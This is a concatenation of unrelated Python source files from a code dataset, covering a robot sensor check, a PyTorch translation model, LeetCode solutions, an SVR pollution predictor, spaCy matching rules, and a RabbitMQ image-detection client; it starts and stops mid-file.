bearing\n\n Returns\n -------\n\n Boolean to denote whether feature is in view of robot\n\n \"\"\"\n # Distance in x and y\n dx = f[0] - x[0]\n dy = f[1] - x[1]\n\n # Calculate range and bearing\n r = sqrt(dx**2 + dy**2)\n th = fmod(atan2(dy, dx) - theta, 2 * pi)\n if th > pi:\n th = th - 2 * pi\n\n # Check to see if range and bearing is within view\n if ((r < rmax) and (abs(th) < thmax)):\n return True\n else:\n return False\n","sub_path":"prototype/models/sensor.py","file_name":"sensor.py","file_ext":"py","file_size_in_byte":1749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"538618545","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals, print_function, division\nfrom io import open\nimport unicodedata\nimport string\nimport re\nimport sys\nimport os\nimport random\nfrom tqdm import tqdm\n\n\nimport torch\nimport torch.nn as nn\nimport numpy as np\nfrom torch import optim\nimport torch.nn.functional as F\n\n\nfrom data.data_util import *\nfrom model.seq2seq import *\nfrom nltk.translate.bleu_score import sentence_bleu\n\n\n\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\nsave_dir = './result/{0}-{1}'.format(sour_lang, target_lang)\n\nif not os.path.exists(save_dir):\n\n os.mkdir(save_dir)\n\nsave_path_enc = save_dir + '/{0}-{1}_enc_{2}'.format(sour_lang, target_lang, num_samples)\nsave_path_att = save_dir + '/{0}-{1}_att_{2}'.format(sour_lang, target_lang, num_samples)\nSOS_token = 0\nEOS_token = 1\nteacher_forcing_ratio = 0.8\nhidden_size = 512\nMAX_LENGTH = 15\ndrop_out = 0.8\nepochs = 10000\ndisplay = 1000\nlr = 0.01\neng_prefixes = (\n \"i am \", \"i m \",\n \"he is\", \"he s \",\n \"she is\", \"she s \",\n \"you are\", \"you re \",\n \"we are\", \"we re \",\n \"they are\", \"they re \"\n)\n\n\n\n\nbleu_num = 100\n\n\n\n\n\n\nclass Lang:\n def __init__(self, name):\n self.name = name\n self.word2index = {}\n self.word2count = {}\n self.index2word = {0: \"SOS\", 1: \"EOS\"}\n self.n_words = 2 # Count SOS and EOS\n\n def addSentence(self, sentence):\n for word in sentence.split(' '):\n self.addWord(word)\n\n def addWord(self, word):\n if word not in self.word2index:\n self.word2index[word] = self.n_words\n self.word2count[word] = 1\n self.index2word[self.n_words] = word\n self.n_words += 1\n else:\n self.word2count[word] += 1\n\n\n\ndef readLangs(lang1, lang2, path, reverse=False):\n print(\"Reading lines...\")\n\n # Read the file and split into lines\n lines = open(path, encoding='utf-8').read().strip().split('\\n')\n\n # Split every line into pairs and normalize\n pairs = [[0, 0] * len(lines)]\n for l in tqdm(lines):\n\n pairs[0] = normalizeString(l.split('\\t')[1])\n pairs[1] = normalizeString(l.split('\\t')[0])\n\n\n # Reverse pairs, make Lang instances\n if reverse:\n pairs = [list(reversed(p)) for p in tqdm(pairs)]\n input_lang = Lang(lang2)\n output_lang = Lang(lang1)\n else:\n input_lang = Lang(lang1)\n output_lang = Lang(lang2)\n\n return input_lang, output_lang, pairs\n\n\ndef filterPair(p):\n return len(p[0].split(' ')) < MAX_LENGTH and \\\n len(p[1].split(' ')) < MAX_LENGTH and \\\n p[1].startswith(eng_prefixes)\n\n\ndef filterPairs(pairs):\n return [pair for pair in tqdm(pairs) if filterPair(pair)]\n\n\ndef prepareData(lang1, lang2, path, reverse=False):\n input_lang, output_lang, pairs = readLangs(lang1, lang2, path, reverse) # 实例化传入的语种,统计其长度\n\n pairs = filterPairs(pairs) # 过滤过长,过短的句子,取出以i am开头的句子\n\n for pair in tqdm(pairs): # 统计单词数量,开始做词典 本次抽取900条句子\n\n input_lang.addSentence(pair[0])\n output_lang.addSentence(pair[1])\n\n return input_lang, output_lang, pairs\n\ndef indexesFromSentence(lang, sentence):\n\n try:\n\n sentence = [lang.word2index[word] for word in sentence.split(' ')]\n except:\n KeyError\n print('字典没有这个词哦')\n\n exit(0)\n else:\n return sentence\n\n\ndef tensorFromSentence(lang, sentence):\n indexes = indexesFromSentence(lang, sentence)\n indexes.append(EOS_token)\n return torch.tensor(indexes, dtype=torch.long, device=device).view(-1, 1)\n\n\ndef tensorsFromPair(pair):\n input_tensor = tensorFromSentence(input_lang, pair[0])\n target_tensor = tensorFromSentence(output_lang, pair[1])\n return (input_tensor, target_tensor)\n\n\n\n\n\n\ndef train(input_tensor, target_tensor, encoder, decoder, encoder_optimizer, decoder_optimizer, criterion, max_length=MAX_LENGTH):\n encoder_hidden = encoder.initHidden() # 编码器隐状态初始化为0,形状为【batch数,句子数,神经元数量】,这里不清楚为什么要多一个1维度\n\n encoder_optimizer.zero_grad() # 初始0梯度\n decoder_optimizer.zero_grad()\n\n input_length = input_tensor.size(0) # 机器翻译没有做pad\n target_length = target_tensor.size(0)\n # 同样初始化编码器的输出,统一置位0,形状为【最大单词数, 神经元数量】\n encoder_outputs = torch.zeros(max_length, encoder.hidden_size, device=device)\n\n loss = 0\n # 开始遍历输入的张量,当前句子,逐个单词送入神经网络,进入编码器的是输入张量,上一次的隐状态,第一次输入隐状态默认为0\n for ei in range(input_length):\n encoder_output, encoder_hidden = encoder(\n input_tensor[ei], encoder_hidden) # 输出当前单词的输出层和隐状态,注意,在for循环中,隐状态开始送入下一个单词中\n encoder_outputs[ei] = encoder_output[0, 0] # 编码器输出的形状为【1, 1, 256】,那么encoder_output【0,0】输出【256】将输出状态送入预先准备的列表中\n # 编码器的pad方式很巧妙,首先组建一个全0张量,【单词数,神经元数量】,然后跟输入单词的数量,依次填充,没有填充的自然是0\n decoder_input = torch.tensor([[SOS_token]], device=device) # 解码器刚开始的输入自然是'SOS',start of sequences\n\n decoder_hidden = encoder_hidden # 将编码器的隐状态作为解码器第一次的输入隐状态,也就是所谓的中间向量C\n # 是否使用teacher_forcing,虽然用他可以提高精度,可能训练的参数不是很好,但是考虑到效率因素,我们用他,这里设定一个比率,办法很巧妙\n use_teacher_forcing = True if random.random() < teacher_forcing_ratio else False\n\n if use_teacher_forcing:\n # Teacher forcing: Feed the target as the next input\n for di in range(target_length):\n decoder_output, decoder_hidden, decoder_attention = decoder(\n decoder_input, decoder_hidden, encoder_outputs)\n loss += criterion(decoder_output, target_tensor[di])\n decoder_input = target_tensor[di] # Teacher forcing\n\n else:\n # Without teacher forcing: use its own predictions as the next input\n for di in range(target_length): # 同样开始遍历解码器的输入句子,将输入语句,隐状态,编码器的输出送入解码器\n decoder_output, decoder_hidden, decoder_attention = decoder(\n decoder_input, decoder_hidden, encoder_outputs) # 总结,解码器输出【1,367】,隐状态【1,1,256】,attention【1,10】\n topv, topi = decoder_output.topk(1) #'''沿给定dim维度返回输入张量input中 k 个最大值。如果不指定dim,则默认为input的最后一维。如果为largest为 False ,则返回最小的 k 个值。'''\n decoder_input = topi.squeeze().detach() # detach from history as input, topi 形���为【1,267】,topv 【1,1】\n\n loss += criterion(decoder_output, target_tensor[di]) # 跟target求损失\n if decoder_input.item() == EOS_token: # 如果是终止符号,那么就停止\n break\n\n loss.backward()\n\n encoder_optimizer.step() # 运行优化器\n decoder_optimizer.step()\n\n return loss.item() / target_length # 求评价损失\n\n\n\n\n\ndef trainIters(encoder, decoder, n_iters, net, print_every=1, plot_every=100, learning_rate=lr):\n start = time.time()\n plot_losses = []\n print_loss_total = 0 # Reset every print_every\n plot_loss_total = 0 # Reset every plot_every\n # 采用SGD优化器\n encoder_optimizer = optim.SGD(encoder.parameters(), lr=learning_rate)\n decoder_optimizer = optim.SGD(decoder.parameters(), lr=learning_rate)\n training_pairs = [tensorsFromPair(random.choice(pairs)) # 根据迭代次数,选择出N组句子,每组句子随机抽取\n for i in tqdm(range(n_iters))] # 并且在这个的地方通过嵌套3个函数,将每个句子中的每个单词根据早已经做好的正反向字典去查各自的ID号,\n criterion = nn.NLLLoss()\n\n for iter in range(1, n_iters + 1):\n training_pair = training_pairs[iter - 1] # pair 顾名思义,语句对\n input_tensor = training_pair[0] # 取出输入语种,形状为 【当前句子的单词数, 1】,因为ID号肯定是一个嘛\n target_tensor = training_pair[1] # 取出输出语种,形状为 【当前句子的单词数, 1】\n # 将输入输入输出的int32张量,编码器解码器类属性,各自的优化器,损失准则,送入训练模块中\n loss = train(input_tensor, target_tensor, encoder,\n decoder, encoder_optimizer, decoder_optimizer, criterion)\n print_loss_total += loss\n plot_loss_total += loss\n\n if iter % print_every == 0:\n print_loss_avg = print_loss_total / print_every\n print_loss_total = 0\n print('%s (%d %d%%) %.4f' % (timeSince(start, iter / n_iters),\n iter, iter / n_iters * 100, print_loss_avg))\n\n if iter % plot_every == 0:\n plot_loss_avg = plot_loss_total / plot_every\n plot_losses.append(plot_loss_avg)\n plot_loss_total = 0\n\n # save_dir = './result/{0}-{1}'.format(sour_lang, target_lang)\n # save_file = '{0}-{1}'.format(sour_lang, target_lang)\n #\n #\n # if os.path.exit(save_dir):\n # os.mkdir(save_dir)\n #\n # save_path_enc = os.path.join(save_dir, save_file)\n # save_path_att = os.path.join(save_dir, save_file)\n\n\n\n torch.save(net[0].state_dict(), save_path_enc)\n torch.save(net[1].state_dict(), save_path_att)\n\n # showPlot(plot_losses)\n\n\n\ndef evaluate(encoder, decoder, sentence, max_length=MAX_LENGTH):\n with torch.no_grad():\n input_tensor = tensorFromSentence(input_lang, sentence)\n input_length = input_tensor.size()[0]\n encoder_hidden = encoder.initHidden()\n\n encoder_outputs = torch.zeros(max_length, encoder.hidden_size, device=device)\n\n for ei in range(input_length):\n encoder_output, encoder_hidden = encoder(input_tensor[ei],\n encoder_hidden)\n encoder_outputs[ei] += encoder_output[0, 0]\n\n decoder_input = torch.tensor([[SOS_token]], device=device) # SOS\n\n decoder_hidden = encoder_hidden\n\n decoded_words = []\n decoder_attentions = torch.zeros(max_length, max_length)\n\n for di in range(max_length):\n decoder_output, decoder_hidden, decoder_attention = decoder(\n decoder_input, decoder_hidden, encoder_outputs)\n decoder_attentions[di] = decoder_attention.data\n topv, topi = decoder_output.data.topk(1)\n if topi.item() == EOS_token:\n decoded_words.append('')\n break\n else:\n decoded_words.append(output_lang.index2word[topi.item()])\n\n decoder_input = topi.squeeze().detach()\n\n return decoded_words, decoder_attentions[:di + 1]\n\n\n\ndef evaluateRandomly(encoder, decoder, pairs, n=bleu_num):\n scors = []\n\n print('开始计算BLEU指标...')\n for i in tqdm(range(n)):\n pair = random.choice(pairs)\n output_words, _ = evaluate(encoder, decoder, pair[0])\n output_sentence = ' '.join(output_words)\n\n reference = fiter_eos(pair[0])\n candidate = fiter_eos(output_sentence)\n score = sentence_bleu(reference, candidate)\n scors.append(score)\n\n avg_score = np.mean(scors)\n print('随机{}个句子后,评价BLEU指标为{}'.format(n, avg_score))\n\n\ndef showAttention(input_sentence, output_words, attentions):\n # Set up figure with colorbar\n fig = plt.figure()\n ax = fig.add_subplot(111)\n cax = ax.matshow(attentions.numpy(), cmap='bone')\n fig.colorbar(cax)\n\n # Set up axes\n ax.set_xticklabels([''] + input_sentence.split(' ') +\n [''], rotation=90)\n ax.set_yticklabels([''] + output_words)\n\n # Show label at every tick\n ax.xaxis.set_major_locator(ticker.MultipleLocator(1))\n ax.yaxis.set_major_locator(ticker.MultipleLocator(1))\n\n plt.show()\n\n\ndef evaluateAndShowAttention(input_sentence):\n output_words, attentions = evaluate(\n encoder1, attn_decoder1, input_sentence)\n print('input =', input_sentence)\n print('output =', ' '.join(output_words))\n showAttention(input_sentence, output_words, attentions)\n\ndef bleu():\n\n\n encoder1.load_state_dict(torch.load(save_path_enc, map_location=device))\n attn_decoder1.load_state_dict(torch.load(save_path_att, map_location=device))\n\n evaluateRandomly(encoder1, attn_decoder1, pairs)\n\n\ndef model_train():\n\n # 数去编码器,解码器,迭代次数,显示迭代次数,开始训练\n trainIters(encoder1, attn_decoder1, epochs, print_every=display, net=[encoder1, attn_decoder1])\n\ndef test():\n\n encoder1.load_state_dict(torch.load(save_path_enc, map_location=device))\n attn_decoder1.load_state_dict(torch.load(save_path_att, map_location=device))\n count = 1\n while count < 10:\n\n print('开始测试本系统...')\n a = sys.stdout.write(\"请输入:\")\n sys.stdout.flush()\n sentence = sys.stdin.readline()\n\n output_words, _ = evaluate(encoder1, attn_decoder1, sentence)\n output_sentence = ' '.join(output_words)\n\n print('这是偶给您翻译的,看看哈~~~', output_sentence)\n\ndata_path = './data/' + samples_text_path\ninput_lang, output_lang, pairs = prepareData(sour_lang, target_lang, data_path, True)\n\nencoder1 = EncoderRNN(input_lang.n_words, hidden_size).to(device) # 输入语种的单词总数和编码器隐藏层单元数送入编码器\n\nattn_decoder1 = AttnDecoderRNN(hidden_size, output_lang.n_words, dropout_p=drop_out, max_length=MAX_LENGTH).to(device) # 将解码器单元数,输出语种的单词种类,dropout率送入待attention机制的解码器\n\n\n\n\n\n\n\n\ndef work_mode(num):\n\n if num == 0: model_train()\n\n elif num == 1: bleu()\n\n elif num == 2: print('还请星星一下我哦~~~后续添加这个功能。')\n # test()\n\n\n\nif __name__ == '__main__':\n\n\n num = 2000\n\n\n '''\n 0 : 训练模式\n 1 : BLEU模式\n 2 : 测试模式,注:测试模式暂不开放。\n '''\n\n mode = 1\n work_mode(mode)\n\n","sub_path":"NLP/pytorch-translation/translation_main.py","file_name":"translation_main.py","file_ext":"py","file_size_in_byte":14647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"45662049","text":"\"\"\"\nLC1060 -- Missing Element in Sorted Array\nGiven a sorted array A of unique numbers, find the K-th missing number starting from the leftmost number of the array.\n\n \n\nExample 1:\n\nInput: A = [4,7,9,10], K = 1\nOutput: 5\nExplanation: \nThe first missing number is 5.\nExample 2:\n\nInput: A = [4,7,9,10], K = 3\nOutput: 8\nExplanation: \nThe missing numbers are [5,6,8,...], hence the third missing number is 8.\nExample 3:\n\nInput: A = [1,2,4], K = 3\nOutput: 6\nExplanation: \nThe missing numbers are [3,5,6,7,...], hence the third missing number is 6.\n\"\"\"\n\n\n# Runtime: 348 ms, faster than 61.22% of Python3 online submissions for Missing Element in Sorted Array.\n# Memory Usage: 19.2 MB, less than 100.00% of Python3 online submissions for Missing Element in Sorted Array\n\n\n# binary search\nclass Solution:\n def missingElement(self, nums: List[int], k: int) -> int:\n if len(nums) == 1:\n return nums[0] + k\n self.nums = nums\n start, end = 0, len(nums) - 1 # start, end are all indices\n return self.binary_search(start, end, k)\n \n def binary_search(self, start, end, k):\n if end - start == 1:\n num_should_have = self.nums[end] - self.nums[start] + 1\n num_missing = num_should_have - 2\n if num_missing < k:\n return self.nums[end] + (k-num_missing)\n else:\n return self.nums[start] + k\n mid = (start + end) // 2\n # the following two lines can be simplified\n num_should_have_left = self.nums[mid] - self.nums[start] + 1\n num_missing = num_should_have_left - (mid - start + 1)\n if num_missing == k:\n return self.nums[mid] - 1\n elif num_missing < k:\n return self.binary_search(mid, end, k-num_missing)\n else:\n return self.binary_search(start, mid, k)\n\n# Runtime: 304 ms, faster than 99.71% of Python3 online submissions for Missing Element in Sorted Array.\n# Memory Usage: 19.2 MB, less than 100.00% of Python3 online submissions for Missing Element in Sorted Array.\n# no recursion version\nclass Solution:\n def missingElement(self, nums: List[int], k: int) -> int:\n l,r=0,len(nums)-1\n while l int:\n # Return how many numbers are missing until nums[idx]\n missing = lambda idx: nums[idx] - nums[0] - idx\n \n n = len(nums)\n # If kth missing number is larger than \n # the last element of the array\n if k > missing(n - 1):\n return nums[-1] + k - missing(n - 1) \n\n idx = 1\n # find idx such that \n # missing(idx - 1) < k <= missing(idx)\n while missing(idx) < k:\n idx += 1\n\n # kth missing number is larger than nums[idx - 1]\n # and smaller than nums[idx]\n return nums[idx - 1] + k - missing(idx - 1)\n ","sub_path":"Widen/LC1060_Missing_Element_in_Sorted_Array.py","file_name":"LC1060_Missing_Element_in_Sorted_Array.py","file_ext":"py","file_size_in_byte":3294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"403932050","text":"import numpy as np\nfrom sklearn.svm import SVR\nfrom sklearn.metrics import mean_absolute_error, mean_squared_error\nfrom math import sqrt\nimport utils\n\n\n\ndef process_data(data, time_lags=8):\n data = np.asarray(data, dtype=np.float32)\n dt_len = len(data)\n # 0 is pm25 while 1 is pm10\n pm2_5_ = [float(x) for x in data[:,1]]\n training_data = []\n labels = []\n history = 8\n total = 24\n for x in xrange(0, dt_len, time_lags):\n if x + total <= dt_len:\n dt = np.array(data[x:x+history,:])\n dt_future = np.array(data[x+history:x+total,6:])\n l = pm2_5_[x + total - 1]\n training_data.append(np.concatenate((dt.flatten(), dt_future.flatten())))\n labels.append(l)\n return training_data, labels\n\n\ndef train(url=\"vectors/sp_seoul_train_bin\"):\n data_train = utils.load_file(url)\n dt_len = len(data_train) / 2\n data_train = np.array(data_train[dt_len:])\n svrs = []\n for x in xrange(25):\n data = data_train[:,x,:]\n data, labels = process_data(data)\n svr = SVR()\n svr.fit(data, labels)\n svrs.append(svr)\n return svrs\n\ndef test(svrs, url=\"vectors/sp_seoul_test_bin\"):\n data = utils.load_file(url)\n data = np.array(data)\n preds = []\n labels = []\n for x in xrange(25):\n dt = data[:,x,:]\n data_train, lb = process_data(dt, time_lags=4)\n pred = svrs[x].predict(data_train)\n preds.append(pred)\n labels.append(lb)\n return preds, labels\n\n\nsvrs = train()\npreds, labels = test(svrs)\n# print(preds)\nmae = 0.0\nrmse = 0.0\nfor pr, lb in zip(preds, labels):\n mae += mean_absolute_error(lb, pr)\n rmse += sqrt(mean_squared_error(lb, pr))\n\nrmse = rmse * 12\nmae = mae * 12\n\"\"\"\n# 8 mae: 19.73 # rmse: 25.83\n# 12 mae: 21.29 rmse: 27.72\n# 16 mae: 22.38 rmse: 29.04\n# 20 mae: 23.21 rmse: 29.92\n# 24 mae: 23.81 rmse: 30.59\n\n\n# pm10 prediction\n# 8h mae: 13.72 rmse: 17.42\n# 16h mae: 14.97 rmse: 18.83\n# 24h mae: 15.74 rmse: 19.63\n\n\"\"\"\nprint(\"mae: %.2f\" % mae)\nprint(\"rmse: %.2f\" % rmse)","sub_path":"svr.py","file_name":"svr.py","file_ext":"py","file_size_in_byte":2046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"256997404","text":"import spacy\nfrom spacy.lang.en import English\nfrom spacy.matcher import Matcher\n\ndef is_float(n):\n try:\n support_float_with_norwegian_format = n.replace(',','.')\n float_n = float(support_float_with_norwegian_format)\n except ValueError:\n return False\n else:\n return True\n\ndef is_int(n):\n try:\n float_n = float(n)\n int_n = int(float_n)\n except ValueError:\n return False\n else:\n return float_n == int_n\n\ndef identify_build_date_in_text(text):\n nlp = English()\n doc = nlp(text)\n matcher = Matcher(nlp.vocab)\n\n #\n # START - spaCy patterns\n #\n\n # WATER_VESSEL\n water_vessel_pattern = [{\"LOWER\": {\"IN\": [\"vessels\"]}}]\n matcher.add(\"WATER_VESSEL\", None, water_vessel_pattern)\n\n # DATE\n matcher.add(\"DATE\", None, [{'IS_DIGIT': True, 'LENGTH': 4}])\n\n # CONSTRUCT\n matcher.add(\"CONSTRUCT\", None, [{\"LOWER\": {\"IN\": [\"constructed\"]}}])\n\n #\n # END - spaCy patterns\n #\n\n result = []\n\n for match_id, token_start, token_end in matcher(doc):\n\n match_id_as_string = nlp.vocab.strings[match_id]\n final_token_start = token_start\n final_token_end = token_end\n \n if match_id_as_string == \"DATE\" and token_start > 0:\n\n # At this point, DATE is just a year string. Example: 2021\n\n # Expand DATE?\n prev_word_1_token_number = token_start - 1\n prev_word_1_token = doc[prev_word_1_token_number]\n if prev_word_1_token.text.lower() in (\"january\",\"february\",\"march\",\"april\",\"may\",\"june\",\"july\",\"august\",\"september\",\"october\",\"november\",\"december\"):\n final_token_start = prev_word_1_token_number # expanding\n # Expand more?\n prev_word_2_token_number = token_start - 2\n prev_word_2_token = doc[prev_word_2_token_number]\n if is_int(prev_word_2_token.text):\n final_token_start = prev_word_2_token_number # expanding\n\n prev_word_on_date_token_number = final_token_start - 1\n prev_word_on_date_token = doc[prev_word_on_date_token_number]\n\n # Does the DATE have a DATE_SEPARATOR?\n if prev_word_on_date_token.text in (\"and\", \"to\"):\n prev_word_on_date_char_span_start_number = prev_word_on_date_token.idx\n prev_word_on_date_char_span_end_number = prev_word_on_date_char_span_start_number + len(prev_word_on_date_token.text)\n identified_entity = {'start': prev_word_on_date_char_span_start_number, 'end': prev_word_on_date_char_span_end_number, 'label': \"DATE_SEPARATOR\"}\n result.append(identified_entity)\n\n # Does the DATE have a DATE_SEPARATOR?\n elif prev_word_on_date_token.text in (\"between\", \"before\", \"after\"):\n # DATE_PREFIX detected\n prev_word_on_date_char_span_start_number = prev_word_on_date_token.idx\n prev_word_on_date_char_span_end_number = prev_word_on_date_char_span_start_number + len(prev_word_on_date_token.text)\n identified_entity = {'start': prev_word_on_date_char_span_start_number, 'end': prev_word_on_date_char_span_end_number, 'label': \"DATE_PREFIX\"}\n result.append(identified_entity)\n\n #\n # convert token_span to char_span.\n # char_span is needed to display correctly withdisplacy.render().\n #\n span = doc[final_token_start:final_token_end]\n span_char_start = span[0].idx\n span_char_end = span[-1].idx + len(span[-1].text)\n\n # return result\n identified_entity = {'start': span_char_start, 'end': span_char_end, 'label': match_id_as_string}\n result.append(identified_entity)\n\n return result\n\ndef merge_spacy_entity_results_to_spacy_ner_format(spacy_ner_formated_text_line,spacy_ner_entities_to_be_merged_in_as_a_list):\n text = spacy_ner_formated_text_line['text']\n ents = spacy_ner_formated_text_line['ents']\n title = spacy_ner_formated_text_line['title']\n\n if ents:\n for ent in spacy_ner_entities_to_be_merged_in_as_a_list:\n ents.append(ent)\n else:\n ents = spacy_ner_entities_to_be_merged_in_as_a_list\n\n return {'text': text, 'ents': sorted(ents, key=lambda x: x['start']), 'title': title}\n\ndef identify_build_date_in_english_spacy_lines(spacy_lines):\n\n result = []\n\n for spacy_line in spacy_lines:\n\n if spacy_line['text'] != \"\\n\" and len(spacy_line['text']) > 0:\n\n identify_date_in_text_result_in_a_list = identify_build_date_in_text(spacy_line['text'])\n\n # this result might be empty.\n\n if identify_date_in_text_result_in_a_list:\n\n # we have results to merge in.\n # merge in the result using this function.\n new_spacy_line = merge_spacy_entity_results_to_spacy_ner_format(spacy_line,identify_date_in_text_result_in_a_list)\n\n result.append(new_spacy_line)\n else:\n result.append(spacy_line)\n else:\n result.append(spacy_line)\n\n return result","sub_path":"NLP Python Jupyter Notebooks/Script - Spacy matching rule - Identify build date - EN/spacy_matching_rule_identify_build_date_en.py","file_name":"spacy_matching_rule_identify_build_date_en.py","file_ext":"py","file_size_in_byte":5107,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"512916578","text":"\n# 1.feladat: Hozzunk létre egy olyan dictionary-t, amelyben a régiók a kulcsok, a bolgyók pedig az értékek!\n\n\nfh = open(\"C://Users/vend/Desktop/sw_planets.csv\",\"r\") #fájl megnyitás (\"r\") megadott últvonalról\nplanets = {} #planets nevű dictionary létrehozása\nfor line in fh: #fájl beolvasás soronként\n planet, regio = line.strip().split(\",\") #bolgyó-régió szeparáltság (vesszővel) meadása split-el, enterek figyelmen kívül hagyása strip()\n if regio in planets: planets[regio].append(planet) #amennyiben a régió már szerepel a dict-ben, akkor ezen régióhoz, mint kulcshoz rendelje az következő bolgyót, mind értéket\n else: planets[regio]=[planet] #különben (nem tartalmazza), hozzon létre egy új kulcsot értékkel együtt\n\nprint(\"1. feladat megoldása:\")\nprint(planets)\n\n# 2.feladat: Határozzuk meg, melyik régió tartalmazza a legtöbb bolygót (melyik kulcs tartalmaz legtöbb értéket)!\n\nmax=0 #\"legtöbb érték\" változó deklarálása\nreg=\"\" #a \"legtöbb értékhez\" tartozó kulcs deklarálása\nfor regio in planets: #planets dict bejárása\n if len(planets[regio])>max: #amennyiben a vizsgálandó kulcshoz tartozó értékek száma nagyobb, mint az eddigi \"legtöbb érték\"\n max=len(planets[regio]) #adja át a darabszámot a max változónak\n reg=regio #a \"legtöbb értéket\" tartalmazó kulcs átadása a reg változónak\n\nprint(\"2. feladat megoldása:\")\nprint(\"The biggest regio is {regio} with {len} planets.\".format(regio=reg, len=max))\n\n# 3.feladat: Határozzuk meg az 5 leggyakrabban használt szót a Háború és béke c. könyvből!\n\"\"\"\nkönyvtár importálása: a Counter dict-ként tárolja a kulcsokat és az értékeket, és lehetőséget biztosít három különböző\nmetódust meghívni:\nelements(): olyan értékkel tér vissza, amelyben annyiszor listázza ki az adott kulcsot, ahány értékkel rendelkezik, feltéve, \nhogy az érték nagyobb, mint 1.\nmost_common(): a kulcshoz tartozó értéket gyakoriságként tárolja és az érték szerint csökkenő sorrendben tárolja a kulcsokat.\nLehetőségünk van a zárójelbe írt db számnak megfelelő mennyiségű kulcsot kilistázni. \nsubstract(): kivonó metódus - 2 dict azonos kulcsainak értékeit kivonja egymásból. Szintaktika: c.substract(d) - c-ből\nvonja ki d-t\n\"\"\"\nfrom collections import Counter\n\nfh = open(\"C://Users/vend/Desktop/war_and_peace.txt\",\"r\") #fájl megnyitás (\"r\") megadott últvonalról\nwords = Counter() #words Counter objektum deklarálása\n\nfor line in fh: #fájl beolvasás soronként\n words.update([word.strip(\".,;\\n\") for word in line.lower().split()])\n #a words kulcsokat \".,;\" és entereket figyelmen kívül hagyva a csupa kisbetűs szövegben\n #a Counter objektum a szavak előfordulásainak megfelelő értékkel látja el\nprint(\"3. feladat megoldása:\")\nprint(words.most_common(5)) #az értékek szerinti csökkenő sorrendben tárolt kulcsok közül az első 5-öt kilistázza\n","sub_path":"Balint-potlas-lesson3.py","file_name":"Balint-potlas-lesson3.py","file_ext":"py","file_size_in_byte":3466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"326650983","text":"import os\nimport sys\nimport getopt\n\nfrom router import Router\n\n\ndef get_inputfile(argv):\n try:\n opts, _ = getopt.getopt(argv, \"f:\", ['file='])\n except getopt.GetoptError:\n print('main.py --file=')\n sys.exit(2)\n\n for opt, arg in opts:\n if opt in (\"-f\", \"--file\"):\n return arg\n\n\nif __name__ == '__main__':\n inputfile = get_inputfile(sys.argv[1:])\n if not os.path.exists(inputfile):\n print('File %s is not existed' % inputfile)\n sys.exit(1)\n\n start_at = input(\"What station are you getting on the train?:\")\n end_at = input(\"What station are you getting off the train?:\")\n\n rt = Router()\n with open(inputfile, 'r') as fr:\n rt.reload(fr.readlines())\n path = rt.path(start_at, end_at)\n if path:\n stops = rt.stops(path)\n cost = rt.cost(path)\n print('Your trip from %s to %s includes %s stops and will take %s minutes.'\n % (start_at.upper(), end_at.upper(), stops, cost))\n else:\n print('No route from %s to %s' % (start_at, end_at))\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1073,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"61563341","text":"import os\r\nimport pika\r\nimport uuid\r\nimport ujson\r\nimport base64\r\nimport cv2\r\nimport time\r\n\r\nfrom utils.label_tools import *\r\nfrom conf.config import *\r\n\r\nimport logging\r\nlogger = logging.getLogger(__name__)\r\nlogger.setLevel(level = logging.DEBUG)\r\n\r\nformatter = logging.Formatter(LOG_FORMATTER)\r\n\r\nfile_handler = logging.FileHandler(RQ_CLIENT_LOG_FILE)\r\nfile_handler.setFormatter(formatter)\r\nlogger.addHandler(file_handler)\r\n\r\nclass detection_client(object):\r\n def __init__(self, queue_name):\r\n self.queue_name = queue_name\r\n\r\n self.host_ip = RQ_HOST\r\n self.port = RQ_PORT\r\n self.heartbeat_interval = RQ_CLIENT_HEARTBEAT\r\n self.credentials = pika.PlainCredentials(RQ_USER, RQ_PWD)\r\n\r\n self.connection = pika.BlockingConnection(\r\n pika.ConnectionParameters(\r\n host = self.host_ip, port = self.port,\r\n virtual_host = '/', credentials = self.credentials,\r\n heartbeat_interval = self.heartbeat_interval\r\n )\r\n )\r\n self.channel = self.connection.channel()\r\n result = self.channel.queue_declare(queue = self.queue_name)\r\n\r\n result = self.channel.queue_declare(exclusive=True)\r\n self.callback_queue = result.method.queue\r\n\r\n self.channel.basic_consume(self.on_response, no_ack=True,\r\n queue=self.callback_queue)\r\n\r\n\r\n def on_response(self, ch, method, props, body):\r\n if self.corr_id == props.correlation_id:\r\n self.response = ujson.loads(body)\r\n\r\n def call(self, image_raw):\r\n byte_content = image_raw\r\n img_base64 = base64.b64encode(byte_content).decode('utf-8')\r\n time_stamp = time.time()\r\n\r\n json_values = {\r\n 'image':img_base64,\r\n 'timestamp': time_stamp\r\n }\r\n\r\n response_body = ujson.dumps(json_values)\r\n\r\n self.response = None\r\n self.corr_id = str(uuid.uuid4())\r\n self.channel.basic_publish(exchange='',\r\n routing_key = self.queue_name,\r\n properties = pika.BasicProperties(\r\n reply_to = self.callback_queue,\r\n correlation_id = self.corr_id,\r\n ),\r\n body = response_body)\r\n logger.info(' [x] Sent RPC requests.')\r\n while self.response is None:\r\n self.connection.process_data_events()\r\n\r\n boxes = self.response['boxes']\r\n scores = self.response['scores']\r\n label_id = self.response['label_id']\r\n label_dict = self.response['label_dict']\r\n\r\n logger.info(' [.] Get a RPC response.')\r\n\r\n label_dict = {int(label): label_dict[label] for label in label_dict}\r\n\r\n box_info = []\r\n box_info.extend(object_info(boxes, scores, label_id, label_dict))\r\n\r\n if box_info == []:\r\n logger.info(' [.] Without object <{}>.'.format(image_path))\r\n return []\r\n else:\r\n image_file_value = base64.urlsafe_b64decode(img_base64)\r\n image_np = cv2.imdecode(np.frombuffer(image_file_value, dtype='uint8'), 1)\r\n\r\n img, roi_msg = draw_box(box_info, image_np)\r\n\r\n for roi in roi_msg:\r\n 